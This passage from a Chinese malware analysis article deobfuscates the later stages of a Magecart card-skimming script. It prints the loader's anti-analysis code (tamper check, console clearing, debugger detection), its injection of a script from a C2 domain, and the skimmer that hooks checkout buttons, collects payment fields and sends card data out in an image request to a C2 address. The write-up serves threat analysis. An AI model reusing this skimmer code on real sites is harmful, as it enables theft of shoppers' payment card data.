(接上文)
第2阶段:分析加载器
第2阶段是从一个名为hh的函数开始的。该函数有一个参数,并会通过某种形式计算其哈希值,以根据输入获得唯一的输出,具体如下所示。
function hh(text) { if (text.length == 0) return 0; var hash = 0; for (var i = 0; i < text.length; i++) { hash = ((hash << 5) - hash) + text.charCodeAt(i); hash = hash & hash; } return hash % 255; }
第1阶段的任务是在一个名为ffj的函数中进行的。在哈希函数hh之后的第一行代码中,实例化了2个新变量(分别名为crc和body)。body的值等于与ffj匹配后的正则表达式的返回值。该正则表达式匹配所有不是a到z、A到Z,0到9或短划线的字符,具体代码如下所示。
var body = window.ffj.toString().replace(/[^a-zA-Z0-9\-"]+/g, ""); var crc = body.match(/z9ogkswp6146oodog3d9jb([\w\d\-]+)"/g)[0].replace("z9ogkswp6146oodog3d9jb", ""); body = hh(body.replace("z9ogkswp6146oodog3d9jb" + crc, "z9ogkswp6146oodog3d9jb")) == crc ? 1 : window["ub8"]("");;
变量crc被设置为从正文中删除字符串z9ogkswp6146oodog3d9jb。然后将主体设置为相应的哈希值。如果两个哈希值相等,则返回值true。如果不相等,则清除窗口对象内的字段ub8。由于该字段存放的是Magecart脚本,这相当于从页面中删除恶意代码。
如果安全分析人员修改了脚本,则哈希值与硬编码就无法匹配,从而导致从页面中删除脚本。
在脚本的下一部分中,将创建一个新元素,混淆后的代码如下所示。
var divf = document["create" + String.fromCharCode(69) + "lem" + "" + String.fromCharCode(101) + "nt"]("Hs2c<~rniXp>t" ["replace"](/[\>H\<nX\~2]/g, "")); divf["" + "i" + String.fromCharCode(100) + ""] = "Bv+ue[rKi>Vf]iUcNa!3tUwilosn;Sy6tge6p" ["replace"](/[gl3\]By6VN\[u\!wUK\;\>s\+]/g, ""); divf["i" + "nne" + (72 > 35 ? "\x72" : "\x69") + "HTML"] = atob("[obfuscated-base64-code]"["replace"](/[\/\[\-\<\%\@\#\>\;\&\_\(\)\+\*\!\]\~\`q6]/g,"")); document[""+""+String.fromCharCode(98)+"ody"]["appen"+(64>35?"\x64":"\x5c")+"C"+"hi"+(87>20?"\x6c":"\x66")+"d"](divf);
在对代码进行反混淆处理后,这一步可以在浏览器的控制台来完成,我们可以轻松阅读相关的代码了。
var divf = document["createElement"]("script"); divf["id"] = "verificationStep"; divf["innerHTML"] = "[base64-code]"; document["body"]["appendChild"](divf);
创建一个名为divf的新脚本元素。为该元素指定一个ID,然后使用innerHTML函数设置脚本的内容。其中,atob函数的作用是解码base64字符串。要将解码的内容写入控制台,可以使用下面的脚本。
console.log(Buffer.from("[base64-value]", 'base64').toString());
解码后的脚本包含更多用于阻挠对其进行分析的方法。如果Firebug窗口打开,则状态将被设置为on。这些代码是作为Base64字符串嵌入的。由于它不需要在解码后考率如何规避检测,所以它没有进行混淆处理。
function checkHandler() { if (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) { setStatus('on'); return; } ///[...] }
如果状态设置为on,则清空控制台。此外,调整窗口大小将调用checkHandler函数,该函数也回将状态设置为on,具体代码如下所示。
if (!options.once) { setInterval(checkHandler, delay); window.addEventListener('resize', checkHandler); } else { checkHandler(); }
该脚本的下一部分存储在名为divy的变量中。到目前为止,各种重要的脚本都是存储在名为div*的变量中,其中星号为通配符。由于字母f已经被使用,所以,在这部分中使用了字母y。
这里采用的混淆方法与前面的一样,这里就不再详细解释。
var divy = document["cr"+String.fromCharCode(101)+"at"+"eE"+String.fromCharCode(108)+"ement"]("xs-cXrmi<plCt"["replace"](/[\<mXx\-Cl]/g,"")); divy[""+"i"+(97>26?"\x64":"\x5a")+""] ="&bjr~o#w4s5e9rT_yem]x3t@e6pn&s=>izoZn"["replace"](/[j\~3Z\=m5z\#y\]9p\@4\>\&T6]/g,""); divy["i"+String.fromCharCode(110)+""+""+String.fromCharCode(110)+"erHTML"] ="zsje[Et9UIzDn7t[eMrzvYOa&7l>(&f#uBnYHcMt1iZo4nHX(k)U{GcNEo-n!s+o-l=Oe8.<cFl3eQaX@rF(q>)6N;/c=oMnFs/o6l_KeP.6iQn`1f&oA(g2'MC!o4nms`oDlTeA RhwU9aLjs% /cXlhe<ah3rHe2dz Ab9y4 6bTrJhohwOsJeSrAh -eUxVtK+eUn@#s&#i%2o%n@._L'%@)2;E}J,`5`0=0J)&;"["replace"](/[\_JB\&\`P\/\@j\>\=YR7\[\!\#LAmZ1GFNEVhK92\-\%z84g\+TqXDMUkHOQ6\<3S]/g,""); document[""+"b"+(66>0?"\x6f":"\x6a")+"dy"]["appen"+(64>19?"\x64":"\x5b")+"C"+"hi"+(82>18?"\x6c":"\x65")+"d"](divy);
反混淆代码表明了该脚本的真实意图:使用appendChild方法向该页面添加另一段Javascript代码。该文件的中的代码用于清空控制台。这里,脚本作者是通过将ID和写入控制台的文本强加为浏览器扩展名来掩盖这一点的。
var divy = document["createElement"]("script"); divy["id"] = "browser_extension"; divy["innerHTML"] = "setInterval(function(){console.clear();console.info('Console was cleared by browser extension.');},500);"; document["body"]["appendChild"](divy);
由于这里使用了相同的混淆方法,所以,除非使用了新的方法,否则,不会以混淆的形式给出新代码。
在下面的代码中,访问者的用户代理是匹配的。如果任何给定的情况相匹配,则返回值true。在其他情况下,返回值false。对于本例来说,下面返回false的附加代码也已进行了反混淆处理。不过,由于这些代码无法访问,因此,可在分析期间忽略它们。该函数的名称已被重构为可理解的内容。
function isMobile() { if (navigator["userAgent"]["match"](/Android/i) || navigator["userAgent"]["match"](/webOS/i) || navigator["userAgent"]["match"](/iPhone/i) || navigator["userAgent"]["match"](/iPad/i) || navigator["userAgent"]["match"](/iPod/i) || navigator["userAgent"]["match"](/BlackBerry/i) || navigator["userAgent"]["match"](/Windows Phone/i) ) { return true; } else { return false; O_F="rIFkfiR6Nz"; pBw="K15IJUec0h" n2Q="uVyhmnTIAt"; Ons="RW8Xui8eN4"; var sgN="Zla0PE48rr"; var kt4="cNRal36kkn"; } }
函数contentcachecontrol将另一个脚本添加到当前页面,条件是状态为off或用户位于移动设备上。请再次注意变量的名称:div*。这里是从外部域加载脚本,并将其附加到页面的。实际上,这个脚本属于攻击的第3阶段。
contentcachecontrol["create"](function (status) { if (status === "off" || isMobile() ) { var divg = document["createElement"]("script"); bJs=263; divg["id"] = "newsprotar"; var k60=19; divg["src"] ="https://[c2-domain]/jquery-latest.min.js"; var GF0=228; document["body"]["appendChild"](divg); var xVu="47Q3RU3ym5"; } UX8(); u8X="TqLHCR0w1c"; }
如果状态设置为on (打开控制台或调整窗口大小时),则调用函数UX8。请注意,当控制台首次打开时,窗口也会调整大小。然后,从页面中删除添加的脚本。这进一步加大了发现它的分析难度,因为届时它会试图隐藏自己。在这种情况下,使用静态分析的候,脚本是不会执行的,也不会提供额外的检测层。
function UX8() { var indexset; var a = "[ 'jquery_ui', 'verificationStep', 'browser_extension', 'newsprotar' ]"; for (indexset = 0; indexset < a["length"]; ++indexset) { elemdis = document["getElementById"](a[indexset]); elemdis["parentNode"]["removeChild"](elemdis); var s8q=103; } return false; }
第3阶段——侧录并泄露数据
第3阶段的代码是从三个函数调用和多个函数声明开始的,具体如下所示。
var _0x46dd = ['omitted', 'due', 'to', 'length']; (function(_0x2a4cae, _0x48387f) { var _0x4a41a0 = function(_0x3fbfe3) { while (--_0x3fbfe3) { _0x2a4cae['push'](_0x2a4cae['shift']()); } }; _0x4a41a0(++_0x48387f); }(_0x46dd, 0x182)); //omitted function declarations setTimeout(_0x25b463, 0x12c);
首先,声明了一个数组。考虑到其大小,这里省略了83个元素。声明数组后,又执行了一个函数,该函数对前面的数组进行了相应的移动操作。最后,调用setTimeout函数。它的第一个参数是要调用的操作,而第二个参数是在调用第一个参数之前等待的毫秒数。请注意,该函数不会重复执行。
下一个函数名为_0x5418,用于解密字符串。下面,我们来逐步分析这个函数。
var _0x5418 = function(_0x552aa6, _0x427789) { _0x552aa6 = _0x552aa6 - 0x0; var _0x338d66 = _0x46dd[_0x552aa6]; if (_0x5418['KfBtLb'] === undefined) { (function() { var _0x446118 = function() { var _0x177dac; try { _0x177dac = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')(); } catch (_0x3a77ba) { _0x177dac = window; } return _0x177dac; }; var _0x5cbba5 = _0x446118(); var _0x228c49 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; _0x5cbba5['atob'] || (_0x5cbba5['atob'] = function(_0x19b010) { var _0x125769 = String(_0x19b010)['replace'](/=+$/, ''); for (var _0x47a32f = 0x0, _0x386a3d, _0x226e74, _0x1ce67a = 0x0, _0x5a65f4 = ''; _0x226e74 = _0x125769['charAt'](_0x1ce67a++); ~_0x226e74 && (_0x386a3d = _0x47a32f % 0x4 ? _0x386a3d * 0x40 + _0x226e74 : _0x226e74, _0x47a32f++ % 0x4) ? _0x5a65f4 += String['fromCharCode'](0xff & _0x386a3d >> (-0x2 * _0x47a32f & 0x6)) : 0x0) { _0x226e74 = _0x228c49['indexOf'](_0x226e74); } return _0x5a65f4; }); }());
在这里,变量_0x552aa6等于_0x46dd(数组)的索引。变量_0x427789用作解密密钥。try-catch结构总是会失败,因为格式错误的输出会导致错误。变量_0x228c49是使用过的字母表,其中atob函数用于解码base64编码值。下面是解密函数的相关代码。
var _0x8d10d0 = function(_0x2abe9e, _0x427789) { var _0x1c6a49 = [], _0x46acfa = 0x0, _0x269141, _0x104913 = '', _0x35ed7d = ''; _0x2abe9e = atob(_0x2abe9e); for (var _0x23c42d = 0x0, _0x1d91df = _0x2abe9e['length']; _0x23c42d < _0x1d91df; _0x23c42d++) { _0x35ed7d += '%' + ('00' + _0x2abe9e['charCodeAt'](_0x23c42d)['toString'](0x10))['slice'](-0x2); } _0x2abe9e = decodeURIComponent(_0x35ed7d); for (var _0xb93cdb = 0x0; _0xb93cdb < 0x100; _0xb93cdb++) { _0x1c6a49[_0xb93cdb] = _0xb93cdb; } for (_0xb93cdb = 0x0; _0xb93cdb < 0x100; _0xb93cdb++) { _0x46acfa = (_0x46acfa + _0x1c6a49[_0xb93cdb] + _0x427789['charCodeAt'](_0xb93cdb % _0x427789['length'])) % 0x100; _0x269141 = _0x1c6a49[_0xb93cdb]; _0x1c6a49[_0xb93cdb] = _0x1c6a49[_0x46acfa]; _0x1c6a49[_0x46acfa] = _0x269141; } _0xb93cdb = 0x0; _0x46acfa = 0x0; for (var _0x5776bb = 0x0; _0x5776bb < _0x2abe9e['length']; _0x5776bb++) { _0xb93cdb = (_0xb93cdb + 0x1) % 0x100; _0x46acfa = (_0x46acfa + _0x1c6a49[_0xb93cdb]) % 0x100; _0x269141 = _0x1c6a49[_0xb93cdb]; _0x1c6a49[_0xb93cdb] = _0x1c6a49[_0x46acfa]; _0x1c6a49[_0x46acfa] = _0x269141; _0x104913 += String['fromCharCode'](_0x2abe9e['charCodeAt'](_0x5776bb) ^ _0x1c6a49[(_0x1c6a49[_0xb93cdb] + _0x1c6a49[_0x46acfa]) % 0x100]); } return _0x104913; }; _0x5418['VTiNeW'] = _0x8d10d0; _0x5418['EaRSQx'] = {}; _0x5418['KfBtLb'] = !![]; } var _0x538bf9 = _0x5418['EaRSQx'][_0x552aa6]; if (_0x538bf9 === undefined) { if (_0x5418['HaRpEp'] === undefined) { _0x5418['HaRpEp'] = !![]; } _0x338d66 = _0x5418['VTiNeW'](_0x338d66, _0x427789); _0x5418['EaRSQx'][_0x552aa6] = _0x338d66; } else { _0x338d66 = _0x538bf9; } return _0x338d66; };
这里,是通过数组( _0x46dd )、随即排序(数组正下方的函数)和解密函数( _0x5418 )对这个字符串进行解密的。我们可以使用浏览器控制台来执行上面的代码。
setTimeout函数在0x12c (十进制记数法为300 )毫秒后调用_0x25b463,该函数代码如下所示。
function _0x25b463() { var _0x32f5da = { 'ddQaX': _0x5418('0x4e', 'o3u8'), 'EWfkp': function(_0x286e2e) { return _0x286e2e(); } }; if (new RegExp(_0x32f5da[_0x5418('0x4f', 'A7[d')], 'i')[_0x5418('0x50', 'HJGL')](window[_0x5418('0x51', '91%q')])) { _0x32f5da[_0x5418('0x52', '91%q')](_0xd96f55); } }
函数调用_0x5418(‘0x4e’, ‘o3u8’) 的作用,指定第78个索引(78以十六进制表示为4e),以o3u8为密钥,反混淆后的代码如下所示。
function _0x25b463() { var _0x32f5da = { 'ddQaX': "onepage|firecheckout|osc|Checkout|awesomecheckout|onestepcheckout|onepagecheckout|checkout|oscheckout|idecheckoutvm", 'EWfkp': function(_0x286e2e) { return _0x286e2e(); } }; if (new RegExp(_0x32f5da["ddQaX"], 'i')["test"](window["location"])) { _0x32f5da["EWfkp"](_0xd96f55); } }
如果当前url(即window[“location”]对象)包含ddQaX中指定的关键字,则调用函数EWfkp。该函数的唯一参数将作为函数执行,然后返回其返回值。这将跟踪到名为_0xd96f55的函数。请注意,为了保持可读性,下面的代码不包含加密字符串。
function _0xd96f55() { var _0x48392d = { 'bXhcD': function(_0x3c07bf) { return _0x3c07bf(); }, 'RGUHZ': function(_0x47c5a1, _0x5ba638) { return _0x47c5a1 !== _0x5ba638; }, 'QGboB': function(_0x18b96c, _0x16332e) { return _0x18b96c(_0x16332e); }, 'FrtWl': 'select|password|checkbox|radio|text|hidden|number|tel|email', 'CNmMs': function(_0x532305, _0x464299) { return _0x532305 < _0x464299; }, 'tMszl': function(_0x54494a, _0x5c9e9c) { return _0x54494a !== _0x5c9e9c; }, 'YYlEb': function(_0x3baac5, _0x575547) { return _0x3baac5 !== _0x575547; }, 'jZKOV': function(_0x1f2dea, _0x1405c6) { return _0x1f2dea !== _0x1405c6; }, 'qGxKX': function(_0x48c520, _0x9a5492) { return _0x48c520 !== _0x9a5492; }, 'GAvfS': function(_0x3cfcad, _0x4d7315) { return _0x3cfcad + _0x4d7315; }, 'VbmoM': "click" }; var _0x197d5a = []; var _0x4617d7 = "a[title*='Place Order'],a[href*='javascript: ; '],a[href*='javascript: void (0)'],a[href*='javascript: void (0); '],a[href='#'],button,input,submit,.btn,.button"; var _0x206c55 = _0x48392d["FrtWl"]; var _0x2bf815 = document["querySelectorAll"](_0x4617d7); for (var _0x286676 = 0x0; _0x48392d['CNmMs'](_0x286676, _0x2bf815["length"]); _0x286676++) { if (new RegExp(_0x206c55, 'i')["test")](_0x2bf815[_0x286676]['type'])) { continue; } var _0x906423 = ''; if (_0x48392d["RGUHZ"](_0x2bf815[_0x286676]['id'], '') && _0x48392d["tMszl"](_0x2bf815[_0x286676]['id'], undefined)) _0x906423 = _0x2bf815[_0x286676]['id']; else if (_0x2bf815[_0x286676]["name"] !== '' && _0x48392d["YYlEb"](_0x2bf815[_0x286676]["name"], undefined)) _0x906423 = _0x2bf815[_0x286676]['name']; else if (_0x48392d["jZKOV"](_0x2bf815[_0x286676]['title'], '') && _0x48392d['qGxKX'](_0x2bf815[_0x286676]['title'], undefined)) _0x906423 = _0x2bf815[_0x286676]['title']; else _0x906423 = _0x48392d["GAvfS"]('bb' + _0x286676, "_12"); if (_0x197d5a["indexOf"](_0x906423) != -0x1) { continue; } _0x2bf815[_0x286676]["addEventListener"](_0x48392d["VbmoM"], function() { var _0x3bbc45 = _0x48392d["bXhcD"](_0x5d0412); if (_0x3bbc45 !== undefined && _0x48392d["RGUHZ"](_0x3bbc45, '')) { _0x48392d["QGboB"](_0x2bb700, _0x3bbc45); } }); _0x197d5a["push"](_0x906423); } }
名为_0x48392d的数组包含许多函数。通过调用数组中元素的名称,就可以调用该函数。实际上,数组中的大多数函数都会返回一个简单的布尔值。这些会在后面的代码中使用,以增加复杂性,降低可读性。它还允许引入其他无用的变量,使代码更加晦涩难懂。
变量_0x2bf815等于querySelectorAll函数的返回值,该函数选择多种类型的链接和元素,所有这些都位于_0x4617d7内,具体如下所示。
"a[title*='Place Order'],a[href*='javascript: ; '],a[href*='javascript: void (0)'],a[href*='javascript: void (0); '],a[href='#'],button,input,submit,.btn,.button"
RegExp对象匹配_0x206c55,其值如下所示。
'select|password|checkbox|radio|text|hidden|number|tel|email'
这些都是页面上的元素类型。函数末尾的addEventListener调用将事件侦听器添加到选定的对象中。然后,用_0x3bbc45作为参数跨调用函数_0x2bb700,具体代码如下所示。
//[omitted code] var _0x48392d = { 'QGboB': function(_0x18b96c, _0x16332e) { return _0x18b96c(_0x16332e); }, 'bXhcD': function(_0x3c07bf) { return _0x3c07bf(); }, //[omitted code] var _0x3bbc45 = _0x48392d["bXhcD"](_0x5d0412); _0x48392d["QGboB"](_0x2bb700, _0x3bbc45);
__0x3bbc45设置为_0x5d0412的返回值,_0x5d0412实际上是一个函数。这种类型的混淆方法在脚本中被多次使用;还有另一种模糊方法,具体如下所示。
function _0x5d0412() { var _0x65915 = { 'OsyAS': "8|5|2|9|3|4|1|6|7|0", } var _0x48d69f = _0x65915["OsyAS"]["split"]('|'), _0x291277 = 0x0; while (!![]) { switch (_0x48d69f[_0x291277++]) { case '0': //[omitted code]
变量OsyAS (位于数组0x65915中)包含又一系列数字,这些数字之间是由符号|进行间隔的。这其实就是规定了访问switch语句的顺序。使用以|为分隔符后,拆分函数split将返回包含所有嵌入数字的数组。而!![]则用于将值(在本例中为true )设置为布尔类型,请参考这里。
该脚本会检查下面给出的字段名,以及用于验证输入的信用卡号的正则表达式。
'shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country|visa|master' /(3|4|5|6)[0-9]{13,16}/gi;
正则表达式检查所提供的数字是以3、4、5还是以6开头。之后,数字0到9应该出现13到16次。信用卡号码可以通过这种方式进行验证,当然,客户也可能会使用假号码。使用假号码的可能性相当小,因为客户不知道恶意软件的存在,并且购物需要有效信用卡号码。
该脚本的最后一次调用是针对函数0x2bb700的调用,该函数的代码如下所示。
function _0x2bb700(_0x5b4216) { var _0x31d9ab = { 'pFyUG': function(_0x15a0d8, _0x5c4103) { return _0x15a0d8 + _0x5c4103; }, 'JHcif': function(_0x2d04c8, _0x2b997b) { return _0x2d04c8 + _0x2b997b; }, 'zDkxM': function(_0x2ab26f, _0x1bdeb5) { return _0x2ab26f(_0x1bdeb5); }, 'ZydiS': "[base64-encoded-c2]", 'juZEj': "data=" }; if (_0x5b4216 && _0x5b4216["length"]) { var _0x2a97b7 = new Image(); _0x2a97b7["src"] = _0x31d9ab["pFyUG"](_0x31d9ab["JHcif"](_0x31d9ab["zDkxM"](atob, _0x31d9ab["ZydiS"]), _0x31d9ab["juZEj"]), _0x5b4216); } }
变量_0x2a97b7是一个新的图像对象,它等于ZydisS、juZEj和_0x5b4216。重写后,代码的功能就会变得更加明显。
var image = new Image(); image.src = "[c2-address]" + "data=" + data;
这里的数据也是base64编码的,这意味着被盗数据将作为参数添加到URL中。这样,所有数据都将通过HTTP GET请求进行泄露,而不是通过用于提交数据的HTTP POST请求。
小结
总而言之,良性站点与感染恶意Magecart脚本的站点之间的区别很难被觉察到。在受感染的网站上消费时,受害者不会感觉到任何异常。订购的产品(如果有的话)正常交付,货款会转到商家的账户上面,就像正常交易一样。由于信用卡欺诈发生在正常交易之后,因此,受害者或银行很难确定付款信息是在哪里被盗的。
还没有评论,来说两句吧...